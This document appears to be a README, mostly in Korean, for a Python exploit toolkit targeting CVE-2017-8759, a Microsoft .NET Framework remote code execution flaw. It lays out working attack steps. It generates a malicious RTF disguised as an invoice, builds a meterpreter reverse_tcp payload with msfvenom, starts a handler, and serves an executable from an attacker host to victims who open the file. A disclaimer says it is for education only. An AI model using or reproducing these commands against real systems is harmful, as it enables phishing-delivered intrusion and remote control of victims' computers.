
Exploit toolkit CVE-2017-8759 - v1.0은 침투 테스터와 보안 연구원에게 Microsoft .NET Framework RCE를 테스트할 수 있는 빠르고 효과적인 방법을 제공하는 편리한 파이썬 스크립트입니다. 복잡한 구성 없이 악성 RTF 파일을 생성하고 metasploit / meterpreter / 기타 페이로드를 피해자에게 전달할 수 있습니다.
Exploit toolkit CVE-2017-8759 - v1.0은 침투 테스터와 보안 연구원들이 Microsoft .NET Framework RCE를 빠르고 효과적으로 테스트할 수 있게 해주는 편리한 파이썬 스크립트입니다. 복잡한 구성 없이 악성 RTF 파일을 생성하고 metasploit / meterpreter / 기타 페이로드를 피해자에게 전달할 수 있습니다.
이 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(bhdresh)는 이 프로그램들이 제공하는 정보나 기능을 직접 또는 간접적으로 사용함으로써 발생하는 어떠한 손해에 대해서도 책임지지 않습니다. 저자 또는 어떤 인터넷 제공자도 이 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써, 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)는 bhdresh의 책임이 아니라는 사실에 동의하게 됩니다.
마지막으로, 이것은 개인 개발물입니다. 그 철학을 존중하고 나쁜 목적으로 사용하지 마십시오!
CC BY 4.0 라이선스 - https://creativecommons.org/licenses/by/4.0/
스크립트에 다음과 같은 기능이 도입되었습니다.
- 악성 RTF 파일 생성
- 생성된 RTF 파일에 대한 익스플로잇 모드
버전: Python 2.7.13
1) 악성 RTF 파일 생성
# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (선택 사항, MSF 페이로드를 사용하는 경우): metasploit 페이로드 생성 및 핸들러 시작
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) 로컬 페이로드를 전달하기 위해 익스플로잇 모드로 툴킷 시작
# python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
# python cve-2017-8759_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)
Modes:
-M gen Generate Malicious file only
Generate malicious RTF file:
-w <Filename.rtf> Name of malicious RTF file (Share this file with victim).
-u <http://attacker.com/test.txt> Path of remote txt file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.txt (This URL will be included in malicious RTF file and will be requested once victim will open malicious RTF file.
-M exp Start exploitation mode
Exploitation:
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> Specify local path of an executable file / meterpreter shell / payload.
@bhdresh
@Voulnet, @vysec, @bhdresh
솔직히 저는 풀타임 개발자가 아니므로 약간의 문제가 발생할 수 있습니다.
버그나 이슈는 https://github.com/bhdresh/CVE-2017-8759/issues/new 를 통해 보고해 주세요.